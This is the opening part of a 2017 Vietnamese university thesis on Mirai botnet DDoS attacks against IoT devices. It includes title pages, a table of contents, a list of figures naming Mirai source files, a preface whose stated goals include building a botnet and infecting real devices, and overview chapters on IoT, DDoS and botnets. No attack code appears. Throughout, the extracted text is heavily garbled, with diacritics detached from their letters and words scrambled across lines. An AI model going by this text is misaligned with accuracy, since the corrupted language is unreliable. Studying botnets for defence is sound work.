Ủ
Ơ Ế Ỹ Ọ Ệ
BAN C Y U CHÍNH PH Ậ Ậ H C VI N K THU T M T MÃ ˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉ
Ề ƯƠ Ồ Ố Ệ Đ C NG Đ ÁN T T NGHI P
Ớ
Ứ Ấ Ế
Ị
NGHIÊN C U T N CÔNG DDOS V I BOTNET MIRAI TRÊN CÁC THI T B INTERNET OF THINGS ( IoT )
ệ
ố Ngành: Công ngh thông tin Chuyên ngành: An toàn thông tin Mã s : 52.48.02.01
ộ Hà N i, 2017
1
Ủ
Ơ Ế Ỹ Ọ Ệ
BAN C Y U CHÍNH PH Ậ Ậ H C VI N K THU T M T MÃ ˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉ
Ề ƯƠ Ồ Ố Ệ Đ C NG Đ ÁN T T NGHI P
Ứ Ấ
Ớ
Ế
Ị
NGHIÊN C U T N CÔNG DDOS V I BOTNET MIRAI TRÊN CÁC THI T B INTERNET OF THINGS ( IoT )
ệ
ố Ngành: Công ngh thông tin Chuyên ngành: An toàn thông tin Mã s : 52.48.02.01
ớ ệ : ự Sinh viên th c hi n ế ạ ễ Nguy n Th Đ t L p: AT9A
Ng
ẫ ng d n : ễ ạ ắ
ệ ậ ậ ỹ ườ ướ i h KS. Nguy n M nh Th ng ọ Khoa An toàn thông tin – H c vi n K thu t m t mã
ọ ổ
ặ ệ M i đóng góp trao đ i liên h : SĐT: 01699960595 ho c 0949423894. Mail: datnt2308@gmail.com
2
ộ Hà N i, 2017
3
Ụ Ụ M C L C
ụ ệ Danh m c kí hi u và vi ế ắ 5 t ................................................................. t t
ụ Danh m c hình v ẽ 6 ...................................................................................
ụ ả 8 Danh m c b ng ........................................................................................
ờ ầ 9 L i nói đ u ...............................................................................................
ổ
ệ ề ớ ươ ề ng 1. T ng quan v internet of things 11 ........................................ Ch ị 11 .......................................... 1.1. L ch s hình thành và phát tri n Internet 12 ........................................................ 1.2. Gi ể t v Internet of Things ử i thi
ổ ừ ố ị ụ
ươ ng 2. T ng quan v t n công t ổ ổ ề ề ấ ề ấ 16 ................ ch i d ch v ddos Ch ạ 16 ............................................................. 2.1. T ng quan v an ninh m ng ụ ừ ố ị 16 ........................................... 2.2. T ng quan v t n công t ch i d ch v
ứ ề ồ
ệ ề
ươ 19 ng 3. Nghiên c u v mã ngu n botnet mirai ............................ Ch ớ i thi u v Botnet Mirai 19 ................................................................ 3.1. Gi ầ ủ 22 3.2. Phân tích các thành ph n c a Botnet Mirai .......................................
ể ự
ệ
ấ ệ ươ ế ị ng 4. Tri n khai th c nghi m botnet mirai trÊn cÁc thi Ch t b iot 37 ............................................................................................................... ả ự 4.1. Mô t 37 th c nghi m ............................................................................ ệ ử 37 4.2. Th nghi m t n công ........................................................................
ế ậ 51 K t lu n ..................................................................................................
ệ ả Tài li u tham kh o 52 ................................................................................
Ph l cụ ụ 53 ....................................................................................................
4
Ụ Ắ Ệ Ế DANH M C KÍ HI U VÀ VI T T T
|| Ho cặ
& Và
Admin Administrator
ARPANET Advanced Research Projects Agency Network
CNC Command And Control
DDoS Distributed Denial of Service
IP Internet Protocol
IoT Internet of Things
LAN Local Area Metwork
NII National Information Infrastructure
NSF National Science Foundation
MILNET Military Network
TCP/IP Transmission Control Protocol/Internet Protocol
5
Ẽ Ụ DANH M C HÌNH V
ướ ể Hình 1.1. Xu h ng phát tri n IoT. .....................................................12
ử ụ
Hình 3.2. Mirai s d ng 5 useragent khác nhau (mirai/bot/table.h). ...................................................................................................................20
ậ ấ ử ụ ừ ỹ d ng 10 k thu t t n công t ố ị ch i d ch v
ụ Hình 3.3. Mirai s (mirai/bot/attack.h).................................................................................20
ạ ộ ủ Hình 3.4. Mô hình ho t đ ng logic c a các thành ph n. ầ ...................21
ư ụ ấ Hình 3.5. C u trúc th m c mã ngu n ồ ...............................................21
ế ố ắ Hình 3.6. CNC l ng nghe k t n i (mirai/cnc/main.go). .....................23
ượ ậ ặ
Hình 3.7. CNC nh n đ c thông tin là bot ho c admin (mirai/cnc/main.go).................................................................................24
ừ ậ Hình 3.8. Nh p username t cmd. ........................................................24
ừ ậ Hình 3.9. Nh p password t cmd. .........................................................24
ừ ậ Hình 3.10. Nh p password t cmd. .......................................................25
ậ Hình 3.11. Thông báo đăng nh p thành công. .....................................25
ố ượ ể ớ Hình 3.12. Ki m tra s l ng Bot connect t i CNC. .........................25
ấ ả Hình 3.13. Thêm và c u hình cho tài kho n m i. ớ ...............................26
Hình 3.14. Hàm AttackInfoLookup.......................................................27
ế ậ
Hình 3.15. Thi t l p network card cho report server (loader/main.c). ...................................................................................................................27
ở ạ ứ ộ Hình 3.16. Kh i t o server ch a mã đ c (loader/main.c). ................28
ừ ậ Hình 3.17. Nh n ip, port, user, pass t STDIN (loader/main.c). .......28
ử ụ ộ Hình 3.18. S d ng busybox login và lây mã đ c (loader/server.c). . 31
ế ố ổ ắ Hình 3.19. L ng nghe k t n i trên c ng 48101 (scanListen.go). ......31
ế ể ị ị t b bruteforce đ
ượ Hình 3.20. Hi n th thông tin thi c (scanListen.go).........................................................................................32
ấ ế Hình 3.21. Che d u ti n trình (mirai/bot/main.c). ..............................33
ươ ứ ấ Hình 3.22. Các ph ng th c t n công (mirai/bot/attack.c). ..............34
ụ ổ ị Hình 3.23. Kill các c ng d ch v (mirai/bot/killer.c). .........................34
ả ế ị ạ Hình 3.24. Ngăn c n thi t b reboot l i (mirai/bot/main.c). ..............35
6
ể ả
ớ Hình 3.25. Tài kho n dùng đ bruteforce IoT m i (mirai/bot/scanner.c)...............................................................................35
ớ ị ỉ
ế ị Hình 3.26. Đ a ch bruteforce thi t b IoT m i (mirai/bot/scanner.c). ...................................................................................................................35
ử ớ
Hình 3.27. Bot g i thông tin các IoT m i đã bruteforce (mirai/bot/scanner.c)...............................................................................36
Hình 3.28. Khai báo domain và port các server (mirai/bot/table.c).. .36
ở ạ Hình 4.29. Kh i ch y CNC Server. ......................................................38
ủ ặ Hình 4.30. Cài đ t thông tin c a Database (cnc\main.c). ...................39
ậ Hình 4.31. CNC đăng nh p Database (cnc\database.go). ...................39
ở ạ Hình 4.32. Kh i ch y scanListen. .........................................................39
ờ ế ả ừ ở Hình 4.33. M port 48101 ch k t qu t Bot. ..................................40
ậ Hình 4.34. Nh p Bot cho Loader. ..........................................................40
ế ố ế ị ễ Hình 4.35. Loader k t n i thi t b IoT lây nhi m Malware. ............41
ự ệ Hình 4.36. Loader th c hi n lây lan Malware. ....................................41
ớ Hình 4.37. Attacker telnet t i CNC. ......................................................42
ậ Hình 4.38. Attacker đăng nh p CNC. ...................................................43
ố ớ ổ ể ế
Hình 4.39. Ki m tra k t n i t i c ng 23 là Bot hay Admin (cnc/main.go)............................................................................................44
ế ố ể ị Hình 4.40. Loader hi n th Bot k t n i thành công. ..........................45
ế ị Hình 4.41. Thông tin Bot scan thi t b khác. .......................................46
ế ị Hình 4.42. Thông tin thi t b mà Bot bruteforce thành công. ............47
ấ ậ ệ Hình 4.43. Nh p l nh t n công. ............................................................47
ệ ấ Hình 4.44. L nh hacker dùng t n công. ...............................................48
ế ị ế ề ể Hình 4.45. Thi ị t b IoT là IP Camera b chi m quy n ki m soát. . .50
ế ư ượ ấ ị Hình 4.46. Victim b Attacker t n công khi n l u l ng tăng cao. .50
7
Ả Ụ DANH M C B NG
ự ả ầ B ng 1. Thành ph n th c nghi m. ệ ......................................................37
8
Ờ Ầ L I NÓI Đ U
ụ ừ ố ượ ể ằ ỉ ể ượ Internet of Things là c m t nh m đ ch các đ i t ng có th đ ậ c nh n
ế ư ự ồ ạ ủ ượ bi t cũng nh s t n t i c a chúng và đ
ạ ướ ạ ậ ế ố ộ ị ả ế ớ ủ ế đ n nay, m ng l i v n v t k t n i Internet là m t k ch b n c a th gi ư c Kenvin Ashton đ a ra năm 1999. Cho ệ i hi n
ỗ ồ ậ ộ ị ấ ạ đ i khi mà m i đ v t, con ng ườ ượ i đ c cung c p m t đ nh danh riêng và t ấ ả t c
ề ả ả ầ ươ ạ ổ ề đ u có kh năng truy n t i, trao đ i thông tin qua m ng mà không c n t ng tác
ữ ự ế ườ ớ ườ ườ ớ ạ tr c ti p gi a ng i v i ng i hay ng i v i máy tính. Tóm l ộ ậ i, IoT là m t t p
ế ị ế ố ớ ế ớ ả ớ ớ ợ h p các thi t b có kh năng k t n i v i nhau, v i Internet và v i th gi i bên
ể ự ệ ệ ộ ngoài đ th c hi n m t công vi c nào đó.
ố ả ư ộ ổ ướ ớ ươ Trong b i c nh IoT bùng n nh là m t xu h ng m i trong t ng lai đi
ề ẩ ữ ữ ệ ạ ớ ở ố ụ kèm v i nh ng ti n ích thì cũng ti m n nh ng m i nguy h i và tr thành m c
ủ ầ ớ ể ệ ả ạ ưở ế ấ tiêu hàng đ u c a gi i Hacker hi n đ i. IoT có th gây nh h ng x u n u các
ế ị ả ể ị ễ ậ ộ ở ộ thi t b b o m t kém có th b nhi m mã đ c và tr
ộ ượ ể ề ạ ế ị m ng botnet. Khi hacker đi u khi n m t l ớ ng l n thi thành m t zombie trong ấ ẽ ễ t b IoT s d dàng t n
ấ ứ ứ ớ ượ ậ ữ ệ ổ ồ công DDoS đánh s p b t c th gì trên Internet v i l ng d li u kh ng l .
ố ồ ượ ả ố ướ Cu i năm 2016, mã ngu n Mirai đã đ c công b gây ra nh h ớ ng l n
ố ờ ả ớ ẩ kèm theo vô vàn m i lo và cũng là l ả i c nh báo v i các s n ph m IoT trong t
ệ ề ượ ệ ọ ồ ố ươ ng ứ t nghi p này là "Nghiên c u ậ lai. Vì v y đ tài đ ự c ch n khi th c hi n đ án t
ớ ế ị ấ t n công DDoS v i botnet Mirai trên các thi t b Internet of Things (IoT)".
ồ ượ ạ ộ ứ ứ ụ ự ệ ằ Đ án đ c th c hi n nh m m c đích nghiên c u cách th c ho t đ ng và
ủ ể ố ồ ế ị ể ừ ư m i nguy hi m c a mã ngu n botnet Mirai trên thi t b IoT đ t đó đ a ra các
ả ố gi i pháp phòng ch ng.
ự ụ ệ ặ ồ M c tiêu đ t ra khi th c hi n đ án là:
ệ ố ự 1. Xây d ng h th ng botnet.
ủ ệ ố ạ ộ ứ ứ 2. Nghiên c u cách th c ho t đ ng c a h th ng botnet.
ộ ố ỹ ể ậ ồ ị 3. Tìm hi u m t s k thu t coding thú v trong mã ngu n.
ễ ộ ế ị ậ ự ấ 4. Lây nhi m mã đ c lên thi ệ t b th t và th c nghi m t n công DDoS.
ế ủ ứ ể ạ ồ ữ 5. Nghiên c u phát tri n nh ng h n ch c a mã ngu n.
ề ơ ả ự ụ ệ ả ờ ố ồ Sau th i gian kho ng b n tháng th c hi n đ án, các m c tiêu v c b n đã
ứ ạ ự ấ ọ ờ ạ ượ đ t đ c. Tuy nhiên t n công DDoS IoT là lĩnh v c khoa h c ph c t p, th i gian
ự ồ ươ ế ắ ắ ắ ố ỏ ệ th c hi n đ án t ấ ng đ i ng n nên ch c ch n không tránh kh i thi u sót. R t
9
ượ ự ể ồ ư ủ ầ ạ ọ mong đ c s góp ý c a các th y cô, cũng nh các b n h c viên đ đ án này
ượ ệ ơ đ c hoàn thi n h n.
10
ƯƠ Ổ Ề CH NG 1. T NG QUAN V INTERNET OF THINGS
ử ể ị 1.1. L ch s hình thành và phát tri n Internet
ượ ạ ượ ụ ể Internet đ ư ộ c sinh ra nh m t m ng đ
ể ử ứ ể ạ ượ ệ c phát tri n đ th nghi m và nghiên c u b i c ự c phát tri n cho m c đích quân s . ở ơ M ng có tên ARPANET đã đ
ự ủ ứ ộ ố ỹ
ệ ố ủ ế ồ ố ờ quan d án nghiên c u nâng cao c a B qu c phòng M (DARPA) vào năm 1969 ệ chính là ngu n g c sinh ra Internet. Vào th i đó, h th ng máy tính ch y u là h
ố ớ ộ ấ ủ ấ ố ị th ng máy ch trung tâm và b coi là r t mong manh đ i v i các cu c t n công tên
ộ ấ ỉ ộ ủ ể ậ ọ ử l a, vì ch m t cu c t n công có th phá h y m i thông tin. Do v y, ARPANET
ượ ứ ể ộ ự ự ổ đã đ ệ ố c xây d ng thành m t d án nghiên c u đ phân b thông tin trên h th ng
máy tính.
ệ ố ớ ố ề ầ ấ ộ ượ ạ Ban đ u, v i t c đ truy n th p 56 kbps và h th ng đã đ ở c t o nên b i
ứ ệ ườ ạ ọ ở ỹ ượ ế ố ằ ạ các vi n nghiên c u và các tr ng đ i h c M đ c k t n i b ng m ng gói.
ể ủ ự ệ ả ạ Sau đó s phát tri n c a công ngh đã t o kh năng làm cho ARPANET đóng vai
ư ộ ề ạ ầ trò trung tâm nh m t m ng truy n thông trong g n 20 năm sau.
ệ ề ả ứ ề
ể ỏ ề ự ể ạ ở ộ Giao th c truy n thông TCP/IP là m t trong các công ngh n n t ng mà ử ụ không th b qua khi b n nói v s phát tri n Internet. B i DARPA đã s d ng
ư ứ ẩ ừ ượ TCP/IP nh là giao th c chu n cho ARPANET, t đó TCP/IP đ
ầ ư ứ ề ẩ ấ ứ thành giao th c chu n trên Internet. R t nhi u đ u t ể c phát tri n ể nghiên c u và phát tri n
ượ ữ ữ ự ệ ệ ạ trong công ngh m ng LAN đã đ c th c hi n vào gi a nh ng năm 1970 đã đóng
ề ể ấ ự góp r t nhi u vào s phát tri n Internet.
ụ ụ ủ ế ầ ủ ạ ộ ụ Vào năm 1983, m t ph n c a m ng ARPANET ph c v ch y u cho m c
ự ượ ắ ỏ ầ đích quân s đã đ c c t b (ph n này có tên là MILNET (MILitary NETwork) và
ầ ạ ủ ạ ượ ể ụ ụ ạ ọ ph n còn l i c a m ng đ
ứ ượ ứ ề ấ ậ ờ nghiên c u. TCP/IP đã đ c chuy n thành m ng ph c v cho khoa h c và ể c ch p nh n là giao th c truy n thông vào th i đi m
đó.
ự ậ ọ ố ỳ ệ ố Quĩ khoa h c qu c gia Hoa K (NSF) đã xây d ng và v n hành h th ng
ộ ậ ủ ạ m ng đ c l p c a mình có tên là NSFNET vào năm 1986.
ượ ố ể Sau đó, NSFNET và ARPANET đã đ ả c liên n i đ hình thành nên b n
ế ớ ủ ầ ẫ ấ m u Internet đ u tiên c a th gi i (NSFNET đã h p thu ARPANET vào năm
1990).
ộ ế ố ể ủ ự ế ể M t y u t không th thi u trong s phát tri n c a Internet đó là thi
ữ ề ộ ườ ầ ậ ơ ở ạ ầ c s h t ng truy n thông tin. M t trong nh ng ng ế ậ t l p ầ i đ u tiên nh n ra t m
11
ơ ở ạ ầ ủ ự ệ ề ọ ổ quan tr ng c a vi c xây d ng c s h t ng truy n thông này chính là phó t ng
ố ỹ ườ ế ấ ư ế ề ạ th ng M khi đó, ông Al Gore, ng i đã đ a ra k ho ch NII (k t c u n n thông
ứ ệ ậ ố ế ạ tin qu c gia) vào năm 1993. K ho ch này t p trung vào vi c nghiên c u và phát
ệ ể ạ ầ ẩ ộ ấ ộ tri n m t m ng siêu nhanh (c p đ Gbps) và vi c toàn c u hoá nó đã làm l y cò
ế ấ ự ề ệ ề vi c xây d ng k t c u n n truy n thông tin.
ế ượ ỗ ợ ứ Đ n nay, các máy tính cá nhân cũng đã đ c h tr giao th c TCP/IP, có
ự ử ắ ơ ẫ ớ ơ ự ạ năng l c x lý cao h n và ít đ t h n, đã d n t i th c tr ng là công chúng có th
ế ố ử ụ ằ ườ ễ d dàng k t n i Internet b ng cách s d ng máy tính cá nhân bình th ể ề ng. Đi u
ệ ử ụ ổ ế ế ấ ở này đã khi n cho vi c s d ng Internet tr nên r t ph bi n trong công chúng.
ớ ệ ề 1.2. Gi i thi t v Internet of Things
ướ 1.2.1. Xu h ể ng phát tri n
ớ ự ủ ể ặ ệ V i s phát tri n c a Internet, smartphone và đ c bi t là các thi ế ị ả t b c m
ế ở ướ ớ ủ ế ớ bi n, Internet of Things đang tr thành xu h ng m i c a th gi
ượ ậ ụ ế ố ữ ả ị Things đ c đ nh nghĩa là nh ng v t d ng có kh năng k t n i Internet. Ý t i. Internet of ưở ng
ử ư ở ẽ ự ộ ỗ ứ nhà thông minh nh vào nhà, m khóa c a, đèn s t
ẽ ự ộ ề ỉ ệ ộ ạ ẽ ự ộ ậ ể hòa s t đ ng đi u ch nh nhi t đ , nh c s t ề đ ng sáng ch đ ng, đi u ữ đ ng b t đ chào đón…nh ng
ễ ưở ề ọ ỉ ầ ở ự đi u ch có trong phim khoa h c vi n t ng, đang d n tr ớ ệ thành hi n th c v i
ệ công ngh Internet of Things.
ướ ể Hình 1.1. Xu h ng phát tri n IoT.
12
ưở ề ượ ự ệ ằ ả Ý t ng v an toàn giao thông đ c th c hi n hóa b ng gi
ế ươ ế ệ ạ ả ươ ượ ạ ằ ả c m bi n ph ng ti n. M ng c m bi n ph ệ ng ti n đ ạ i pháp m ng ề c t o nên b ng nhi u
ươ ề ế ệ ặ ậ ph ể ng ti n có tính năng giao ti p V2V đ giúp truy n ho c nh n thông tin đ ể
ươ ệ ể ậ ế ư ự ặ ố các ph ng ti n khác có th nh n bi t và d đoán các tình hu ng ch a ho c đã
ệ ằ ạ ươ ể ự ề ệ ả x y ra. Sau đó, b ng trí tu nhân t o mà ph ng ti n có th t ặ ể đi u khi n ho c
ườ ả c nh báo cho ng i dùng.
ế ị ượ ử ậ ờ ộ Các thi t b Internet of Things đ ữ c v n hành nh nh ng b vi x lý SOC
ử ư ộ ườ ư ộ ố ữ bên trong. Không nh nh ng b vi x lý thông th ng, SOC gi ng nh m t máy
ẹ ượ ọ ệ ử ủ ệ ộ ọ tính tr n v n đ c thu g n trong di n tích c a m t con chip đi n t
ả ỏ ọ ủ ứ ệ ệ ế ả ạ không dây và đ m b o ti ế ố , có k t n i ử t ki m đi n. Dù nh g n, s c m nh c a các vi x lý
ể ậ ữ ả ơ SOC là không ph i bàn cãi khi nó hoàn toàn có th v n hành tr n tru nh ng h ệ
ổ ế ư ề ề ặ ấ đi u hành n ng n nh Windows hay Linux. SOC r t ph bi n trong bên trong
ệ ệ ạ các linh ki n đi n tho i.
ị ườ ự ượ ự ẽ ủ Theo d báo c a IDC, th tr ng Internet of Things đ c d báo s tăng
ệ ớ ầ ạ ỉ ấ g p 3 l n, đ t 1,7 nghìn t USD vào năm 2020. Không ít các doanh nghi p l n đã
ầ ư ủ ề ấ ạ ạ nhìn th y ti m năng c a Internet of Things và m nh d n đ u t vào đây.Tuy
ư ấ ỳ ộ ệ ớ ố
ẽ ầ nhiên, cũng gi ng nh b t k m t công ngh m i nào, Internet of Things s c n ạ ệ ể ằ ộ ề ả ể ậ ệ m t n n t ng đ v n hành.Và các doanh nghi p công ngh hi u r ng, ai t o ra
ượ ề ả ọ ẽ ẫ ầ ườ ế ắ ướ đ c n n t ng d n đ u, h s là ng i chi n th ng trong xu h ớ ng m i này.
Ứ ụ 1.2.2. ự ễ ng d ng th c ti n
ề ờ ưở ệ ộ Nh Internet of Things, có nhi u ý t ự ở ng đ c đáo đã tr thành hi n th c.
ố ơ ủ ố ế ị ỉ Không ch phát huy t ụ t h n cho công d ng v n có c a thi t b , Internet of Things
ầ ạ ố ẹ ơ ườ ể ể ế còn góp ph n đem l ộ ố i cu c s ng t t đ p h n cho con ng i. Có th k đ n nh ư
ộ ả ự ế ắ ỏ Boogio đôi giày thông minh có l p m t c m bi n c c m ng và máy tính Artik
ữ ạ ữ ệ ủ ườ ế ố ớ ớ ỏ ể ư siêu nh đ l u tr l i d li u c a ng
ồ ườ ồ đ ng h thông minh. Thông qua đôi giày này, ng i dùng và k t n i v i v i smartphone và ượ c ể i dùng có th tính toán đ
ạ ướ ữ ệ ố hôm nay mình đã ch y bao nhiêu b ậ c, luy n nh ng bài t p nào, đ t cháy bao
ỏ ủ ả ỉ ố ứ ượ ộ ơ ể ẻ ơ nhiêu calo, đo ch s s c kh e c a b n thân và có đ c m t c th d o dai h n.
ộ ả ưở ừ ủ ế ẩ ấ M t s n ph m khác c a Internet of Things xu t phát t ng ti ý t
ẽ ử ụ ề ộ ẩ ế ợ ế ả ướ ệ t ki m ớ c có tên là Weenat. Weenat s s d ng các c m bi n v đ m, k t h p v i n
ỏ ể ế ị ộ ẩ ệ ố h th ng các máy tính siêu nh đ tính toán đ m và các quy t đ nh canh tác phù
ệ ố ạ ộ ế ả ượ ặ ự ế ợ h p. H th ng c m bi n ho t đ ng không dây, đ c đ t tr c ti p trên các cánh
13
ờ ấ ữ ẽ ườ ế ố ồ đ ng và có vòng đ i r t dài, s giúp nh ng ng i nông dân ti ệ t ki m t i đa
ồ ướ ướ ngu n n c dùng cho t i tiêu.
ệ ạ ữ ề ớ ế ị V i vi c t o ra ngày càng nhi u nh ng thi t b Internet of Things thông
ộ ố ệ ớ ầ ườ ở minh, các hãng công ngh l n đang góp ph n giúp cu c s ng ng i dùng tr nên
ố ẹ ủ ọ ỗ ự ữ ừ ệ ạ ơ t t đ p h n. Bên c nh đó, nh ng n l c không ng ng c a h trong vi c đ u t
ẹ ẽ ứ ế ạ ộ cho cu c cách m ng Internet of Things còn h a h n s đem đ n cho con ng ầ ư ườ i
ộ ươ ươ ơ ữ m t t ng lai t i sáng h n n a.
ữ ể ố ề ẩ 1.2.3. Nh ng m i nguy hi m ti m n
ế ị ế ố ớ ỉ ượ ư ả t b k t n i v i Internet nh ng ch đ ậ ệ ằ c b o v b ng m t
(cid:0) Các thi ẩ ứ ế ặ ậ ẩ kh u mã hóa c ng (hardcoded password) ho c m t kh u y u.
(cid:0) ỗ ổ ệ ả ậ ả ẩ L h ng b o m t Zeroday trong các s n ph m thông minh hi n nay
ộ ơ ộ ề ạ ặ ở ấ r t nhi u, m ra m t c h i khác cho tin t c, botnet và các d ng t ộ i
ạ ạ ả ở ph m m ng theo đó n y n .
ủ ế ị ư ệ ượ (cid:0) Các CVE c a thi t b IoT nh router, hi n cũng đ c public gây ra
ỉ ề ữ ệ ề ắ nh ng lo l ng không ch v doanh nghi p mà còn v uy tín c a c ủ ả
ị ụ ấ nhà cung c p d ch v .
(cid:0) ữ ế ể ậ L p trình IoT trên linux n u không hi u rõ nh ng th vi n t ư ệ ả ề ử i v s
ể ấ ậ ề ụ d ng đ code cũng là 1 v n đ nguy hi m khi l p trình IoT.
ả ế ị ữ ấ ể (cid:0) B o m t cho các thi ậ t b IoT là r t khó khăn vì nh ng lý do v k ề ỹ
ố ớ ả ề ệ ậ ậ ườ thu t, công ngh và th m chí c n n văn hóa. Đ i v i ng i dùng
ườ ữ ể ế ấ ậ ả thông th
ệ ấ ạ ớ ọ ậ ng, đã là r t khó đ khi n h c p nh t nh ng b n vá m i ế ị t b nh t trên máy tính xách tay, đi n tho i thông minh. Ngày nay, thi
ữ ể ỗ ổ ả ậ ả ấ nào cũng có th có nh ng l
ấ ế ị ữ ả nâng c p firmware hay cài b n vá cho nh ng thi ố h ng b o m t, khi nhà s n xu t mu n ề ẽ ấ t b này s r t phi n
ph c.ứ
(cid:0) ấ ộ Thay vì t n công máy tính xách tay và cài mã đ c thì hacker l ạ ậ i t n
ế ị ư ầ ụ d ng các thi t b IoT, nh camera giám sát CCTV, đ u ghi DVR,
ệ ố ự ộ ư smartTV hay các h th ng t đ ng trong nhà. Không nh máy tính
ệ ấ ế ị bàn hay xách tay, r t khó phát hi n botnet có trong thi t b IoT.
14
ộ ế ị ộ ẽ ở ễ ể ạ (cid:0) Khi m t thi t b nhi m mã đ c s tr thành bàn đ p đ phát tán mã
ế ế ị ạ ộ ổ ộ đ c đ n các thi t b khác hình thành nên m t m ng botnet kh ng l ồ
ượ ở ộ đ c m r ng nhanh chóng.
15
ƯƠ Ố Ị Ề Ấ Ổ Ừ CH NG 2. T NG QUAN V T N CÔNG T CH I D CH V Ụ
DDOS
ổ ề ạ 2.1. T ng quan v an ninh m ng
ệ ề ữ ệ ứ ứ ầ ả ố Máy tính có ph n c ng ch a d li u do h đi u hành qu n lý, đa s các
ấ ệ ượ ố ạ máy tính nh t là các máy tính trong công ty, doanh nghi p đ
ệ ố ư ế ạ ượ ả Internet. N u nh máy tính, h th ng m ng không đ c n i m ng LAN và ệ ị ệ ố c trang b h th ng b o v
ể ị ấ ụ ủ ẽ s là m c tiêu c a Virus, Worms, Unauthorized User…có th b t n công vào máy
ặ ả ệ ố ấ ứ tính ho c c h th ng b t c lúc nào.
ệ ệ ố ỏ ự ạ ậ ạ ả V y an toàn m ng có nghĩa là b o v h th ng m ng, máy tính kh i s phá
ầ ứ ề ạ ầ ỉ ượ ự ử ữ ệ ho i ph n c ng hay ch nh s a d li u (ph n m m) mà không đ c s cho phép
ừ ữ ườ ố ấ ạ ả t nh ng ng i c ý hay vô tình. An toàn m ng cung c p gi i pháp, chính sách,
ệ ố ữ ể ệ ạ ườ ả b o v máy tính, h th ng m ng đ làm cho nh ng ng i dùng trái phép, cũng
ầ ư ấ ợ ứ ề ộ
ệ ố ậ nh các ph n m m ch a mã đ c xâm nh p b t h p pháp vào máy tính, h th ng m ng.ạ
ề ấ ổ ừ ố ị ụ 2.2. T ng quan v t n công t ch i d ch v
ớ ệ ề ấ ừ ố ị ụ 2.2.1. Gi i thi u v t n công t ch i d ch v
ấ ừ ự ố ắ ố ị ủ ụ ộ T n công t ch i d ch v là s c g ng làm cho tài nguyên c a m t máy
ể ử ụ ượ ữ ằ ườ ủ ặ tính không th s d ng đ c nh m vào nh ng ng i dùng c a nó. M c dù
ệ ươ ủ ấ ể ế ố ị ừ ụ ộ ơ ph ng ti n đ ti n hành, đ ng c , m c tiêu c a t n công t
ự ố ắ ố ợ ự ủ ư ồ ụ ch i d ch v là ộ khác nhau, nh ng nói chung nó g m có s ph i h p, s c g ng ác ý c a m t
ườ ề ườ ể ố ạ ụ ặ ị ng i hay nhi u ng i đ ch ng l ậ i Internet site ho c service (d ch v Web) v n
ệ ặ ấ ả ạ ờ ị ả hành hi u qu ho c trong t ộ t c , t m th i hay m t cách không xác đ nh.
ấ ằ ừ ố ị ụ ể ả T n công b ng t ch i d ch v DoS (Denial of Service) có th mô t
ữ ả ộ ườ ả ậ ợ hành đ ng ngăn c n nh ng ng ư nh ử ụ i dùng h p pháp kh năng truy c p và s d ng
ộ ị ụ ậ ạ ồ
ứ ủ ụ ụ ể ố ấ ế ố ớ ệ vào m t d ch v nào đó. Nó bao g m vi c làm tràn ng p m ng, m t k t n i v i ượ c ị d ch v … mà m c đích cu i cùng là máy ch (Server) không th đáp ng đ
ầ ử ụ ụ ừ ể ạ ị các yêu c u s d ng d ch v t
ặ ả ộ ệ ố ạ ộ ộ ộ ủ ạ ạ ộ ộ ư các máy tr m (Client). DoS có th làm ng ng ấ ho t đ ng c a m t máy tính, m t m ng n i b ho c c m t h th ng m ng r t
ề ả ự ự ủ ộ ượ ẻ ấ ụ ẽ ế ấ ớ l n.V b n ch t th c s c a DoS, k t n công s chi m d ng m t l
ử ư ạ ả ấ ộ ớ ớ ng l n tài ầ nguyên m ng nh băng thông, b nh … và làm m t kh năng x lý các yêu c u
ụ ừ ị d ch v t các client khác.
16
ớ ệ ề a) Gi i thi u v Botnet
̀ ̀ ́ ́ ̀ ̀ ̣ ̣ ̣ ̣ ̣ ̉ ̀ Môt “bot” la môt loai phân mêm đôc hai cho phep ke tân công gianh quyên
́ ̀ ́ ́ ́ ́ ̃ ưở ̉ ̣ ̉ ̣ ̣
̀ kiêm soat hoan toan may tinh bi anh h ̀ ng. May tinh đang bi nhiên môt “bot” ́ ́ ̀ ̀ ́ ượ ự ̣ th ̣
c goi la zombie. Trên th c tê co hang ngan may tính trên Internet bi ́ ̀ ươ ng đ ̃ ́ ̣ ̣ ̣ ̣ ́ ̀ nhiêm môt sô loai “bot” ma thâm chi không nhân ra no.
́ ̀ ̀ ́ ượ ̉ ̉ ̉ ̣ ̣ (cid:0) May chu Bot kiêm soat va điêu khiên môt botnet đ ̀ c goi la
̀ ́ ̀ ươ ̣ ̣ ̉ botmaster. (cid:0) Bot la môt ch ̀ ng trinh client cho phep Botmaster ra lênh va kiêm
̃ ́ ́ ̣ soat may tinh bi nhiêm.
́ ́ ́ ễ ở ị ̣ ̣ ̣ ̀ Botnet la môt mang l ́ ươ i cac may tinh b xâm nhâp, lây nhi m b i bot.
ạ ộ b) Nguyên lý ho t đ ng Botnet
́ ̀ ̀ ̀ ̀ ́ ̣ ̣ ̣ ̣ ̉ Môt botnet bao gôm it nhât la môt botmaster va môt hoăc nhiêu bot. Kha
́ ́ ́ ̀ ́ ̀ ợ ́ ơ ̉ ̣ ̣ ̉ ̣ ̣ ̉ năng cua cac botnet hanh đông môt cach phôi h p v i tât ca hoăc môt phân cua
̀ ̀ ́ ́ ượ ở ̉ ̣ ̉ ̣ botnet la nên tang cho khai niêm botnet. Botnet đ
̀ ̀ ̀ ượ ở ̉ ̣ c goi la Botnetherder. Botnetherder la ng Kh i nguôn cua Botnet đ
́ ́ ́ ư ượ ử ̣ ̣ ̣ ̣ ̣ ̣ c quan ly b i môt botherder. ̃ ̀ ươ i đa ̣ c s dung cho muc đich đôc hai nh tâmn công môt
́ ̀ ̀ ́ ́ ươ i cac bot đ ́ ̀ ́ ử ̣ ̣ ̉ ch c nao đo băng cach s dung tân công DDoS hoăc kiêm tiên băng cach s ử
ư ̣ tao ra mang l ́ ̀ ử ư t dung th rac.́
́ ế ố ớ ̉ ử ụ ụ ̣ Môt Botherder co thê s d ng công c IRC, CMD k t n i t i C&C Server.
ư ộ ử ệ ủ ề ể ẽ ớ ạ Server này s nh m t proxy g i l nh đi u khi n c a hacker t
̀ ́ ̀ ́ ́ ư ̣ ̣ ̣ ̣ i m ng botnet. ́ ̀ ư khi băt
Viêc khai thac botnet cân co kinh nghiêp lâp trinh giao th c ra lênh ngay t đâu. ̀
̀ ̃ ́ ̀ ự ́ ư ̉ ̣
́ ̃ ̀ ́ ở ợ ̉ ̣ ̣
